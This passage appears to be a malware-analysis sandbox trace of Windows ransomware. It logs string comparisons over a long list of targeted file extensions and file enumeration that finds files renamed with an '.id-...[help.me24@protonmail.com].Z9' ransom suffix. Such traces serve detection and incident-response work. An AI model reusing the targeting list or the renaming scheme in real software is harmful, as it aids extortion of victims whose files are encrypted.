	[0070.393] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".c") returned 2
	[0070.393] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.393] lstrlenW (lpString=".cdr") returned 4
	[0070.393] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cer") returned 4
	[0070.393] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cf") returned 3
	[0070.393] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.393] lstrlenW (lpString=".cfc") returned 4
	[0070.393] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cfm") returned 4
	[0070.393] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cfml") returned 5
	[0070.393] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cfu") returned 4
	[0070.393] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".chm") returned 4
	[0070.393] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cin") returned 4
	[0070.393] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".class") returned 6
	[0070.393] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.393] lstrlenW (lpString=".clx") returned 4
	[0070.393] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".config") returned 7
	[0070.393] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cpp") returned 4
	[0070.393] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".cr2") returned 4
	[0070.393] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.393] lstrlenW (lpString=".crt") returned 4
	[0070.394] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".crw") returned 4
	[0070.394] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".cs") returned 3
	[0070.394] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.394] lstrlenW (lpString=".css") returned 4
	[0070.394] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".csv") returned 4
	[0070.394] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".cub") returned 4
	[0070.394] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dae") returned 4
	[0070.394] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dat") returned 4
	[0070.394] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".db") returned 3
	[0070.394] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.394] lstrlenW (lpString=".dbf") returned 4
	[0070.394] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dbx") returned 4
	[0070.394] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dc3") returned 4
	[0070.394] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dcm") returned 4
	[0070.394] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dcr") returned 4
	[0070.394] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".der") returned 4
	[0070.394] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dib") returned 4
	[0070.394] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dic") returned 4
	[0070.394] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".dif") returned 4
	[0070.394] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.394] lstrlenW (lpString=".divx") returned 5
	[0070.395] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".djvu") returned 5
	[0070.395] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dng") returned 4
	[0070.395] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".doc") returned 4
	[0070.395] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".docm") returned 5
	[0070.395] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".docx") returned 5
	[0070.395] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dot") returned 4
	[0070.395] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dotm") returned 5
	[0070.395] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dotx") returned 5
	[0070.395] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dpx") returned 4
	[0070.395] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dqy") returned 4
	[0070.395] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dsn") returned 4
	[0070.395] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dt") returned 3
	[0070.395] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.395] lstrlenW (lpString=".dtd") returned 4
	[0070.395] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dwg") returned 4
	[0070.395] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dwt") returned 4
	[0070.395] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".dx") returned 3
	[0070.395] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.395] lstrlenW (lpString=".dxf") returned 4
	[0070.395] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.395] lstrlenW (lpString=".edml") returned 5
	[0070.396] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.396] lstrlenW (lpString=".efd") returned 4
	[0070.396] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".elf") returned 4
	[0070.396] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".emf") returned 4
	[0070.396] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".emz") returned 4
	[0070.396] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".epf") returned 4
	[0070.396] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".eps") returned 4
	[0070.396] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".epsf") returned 5
	[0070.396] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.396] lstrlenW (lpString=".epsp") returned 5
	[0070.396] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.396] lstrlenW (lpString=".erf") returned 4
	[0070.396] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".exr") returned 4
	[0070.396] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".f4v") returned 4
	[0070.396] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".fido") returned 5
	[0070.396] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.396] lstrlenW (lpString=".flm") returned 4
	[0070.396] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".flv") returned 4
	[0070.396] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".frm") returned 4
	[0070.396] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".fxg") returned 4
	[0070.396] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.396] lstrlenW (lpString=".geo") returned 4
	[0070.396] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".gif") returned 4
	[0070.397] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".grs") returned 4
	[0070.397] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".gz") returned 3
	[0070.397] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.397] lstrlenW (lpString=".h") returned 2
	[0070.397] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.397] lstrlenW (lpString=".hdr") returned 4
	[0070.397] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".hpp") returned 4
	[0070.397] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".hta") returned 4
	[0070.397] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".htc") returned 4
	[0070.397] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".htm") returned 4
	[0070.397] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".html") returned 5
	[0070.397] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.397] lstrlenW (lpString=".icb") returned 4
	[0070.397] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".ics") returned 4
	[0070.397] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".iff") returned 4
	[0070.397] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".inc") returned 4
	[0070.397] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".indd") returned 5
	[0070.397] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.397] lstrlenW (lpString=".ini") returned 4
	[0070.397] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".iqy") returned 4
	[0070.397] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".j2c") returned 4
	[0070.397] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.397] lstrlenW (lpString=".j2k") returned 4
	[0070.398] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".java") returned 5
	[0070.398] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jp2") returned 4
	[0070.398] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpc") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpe") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpeg") returned 5
	[0070.398] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpf") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpg") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jpx") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".js") returned 3
	[0070.398] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.398] lstrlenW (lpString=".jsf") returned 4
	[0070.398] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".json") returned 5
	[0070.398] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.398] lstrlenW (lpString=".jsp") returned 4
	[0070.398] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".kdc") returned 4
	[0070.398] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".kmz") returned 4
	[0070.398] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".kwm") returned 4
	[0070.398] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".lasso") returned 6
	[0070.398] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.398] lstrlenW (lpString=".lbi") returned 4
	[0070.398] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.398] lstrlenW (lpString=".lgf") returned 4
	[0070.398] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".lgp") returned 4
	[0070.399] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".log") returned 4
	[0070.399] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".m1v") returned 4
	[0070.399] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".m4a") returned 4
	[0070.399] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".m4v") returned 4
	[0070.399] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".max") returned 4
	[0070.399] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".md") returned 3
	[0070.399] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.399] lstrlenW (lpString=".mda") returned 4
	[0070.399] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mdb") returned 4
	[0070.399] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mde") returned 4
	[0070.399] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mdf") returned 4
	[0070.399] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mdw") returned 4
	[0070.399] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mef") returned 4
	[0070.399] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.399] lstrlenW (lpString=".mft") returned 4
	[0070.400] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mfw") returned 4
	[0070.400] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mht") returned 4
	[0070.400] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mhtml") returned 6
	[0070.400] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mka") returned 4
	[0070.400] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mkidx") returned 6
	[0070.400] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mkv") returned 4
	[0070.400] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mos") returned 4
	[0070.400] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mov") returned 4
	[0070.400] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mp3") returned 4
	[0070.400] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mp4") returned 4
	[0070.400] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.400] lstrlenW (lpString=".mpeg") returned 5
	[0070.401] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.401] lstrlenW (lpString=".mpg") returned 4
	[0070.401] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".mpv") returned 4
	[0070.401] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".mrw") returned 4
	[0070.401] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".msg") returned 4
	[0070.401] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".mxl") returned 4
	[0070.401] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".myd") returned 4
	[0070.401] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".myi") returned 4
	[0070.401] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".nef") returned 4
	[0070.401] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".nrw") returned 4
	[0070.401] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".obj") returned 4
	[0070.401] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".odb") returned 4
	[0070.401] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".odc") returned 4
	[0070.401] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".odm") returned 4
	[0070.401] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".odp") returned 4
	[0070.401] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".ods") returned 4
	[0070.401] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".oft") returned 4
	[0070.401] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".one") returned 4
	[0070.401] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.401] lstrlenW (lpString=".onepkg") returned 7
	[0070.401] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.402] lstrlenW (lpString=".onetoc2") returned 8
	[0070.402] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.402] lstrlenW (lpString=".opt") returned 4
	[0070.402] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".oqy") returned 4
	[0070.402] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".orf") returned 4
	[0070.402] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".p12") returned 4
	[0070.402] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".p7b") returned 4
	[0070.402] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".p7c") returned 4
	[0070.402] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pam") returned 4
	[0070.402] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pbm") returned 4
	[0070.402] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pct") returned 4
	[0070.402] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pcx") returned 4
	[0070.402] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pdd") returned 4
	[0070.402] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pdf") returned 4
	[0070.402] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pdp") returned 4
	[0070.402] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pef") returned 4
	[0070.402] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pem") returned 4
	[0070.402] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pff") returned 4
	[0070.402] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pfm") returned 4
	[0070.402] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.402] lstrlenW (lpString=".pfx") returned 4
	[0070.403] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pgm") returned 4
	[0070.403] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".php") returned 4
	[0070.403] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".php3") returned 5
	[0070.403] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".php4") returned 5
	[0070.403] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".php5") returned 5
	[0070.403] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".phtml") returned 6
	[0070.403] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pict") returned 5
	[0070.403] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pl") returned 3
	[0070.403] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.403] lstrlenW (lpString=".pls") returned 4
	[0070.403] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pm") returned 3
	[0070.403] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.403] lstrlenW (lpString=".png") returned 4
	[0070.403] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pnm") returned 4
	[0070.403] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".pot") returned 4
	[0070.403] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".potm") returned 5
	[0070.403] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".potx") returned 5
	[0070.403] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".ppa") returned 4
	[0070.403] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.403] lstrlenW (lpString=".ppam") returned 5
	[0070.403] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.403] lstrlenW (lpString=".ppm") returned 4
	[0070.404] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pps") returned 4
	[0070.404] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".ppsm") returned 5
	[0070.404] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.404] lstrlenW (lpString=".ppt") returned 4
	[0070.404] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pptm") returned 5
	[0070.404] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pptx") returned 5
	[0070.404] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.404] lstrlenW (lpString=".prn") returned 4
	[0070.404] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".ps") returned 3
	[0070.404] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.404] lstrlenW (lpString=".psb") returned 4
	[0070.404] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".psd") returned 4
	[0070.404] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pst") returned 4
	[0070.404] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".ptx") returned 4
	[0070.404] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pub") returned 4
	[0070.404] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pwm") returned 4
	[0070.404] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.404] lstrlenW (lpString=".pxr") returned 4
	[0070.404] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.405] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34ce9659, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34ce9659, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.405] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.405] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.405] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0070.405] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
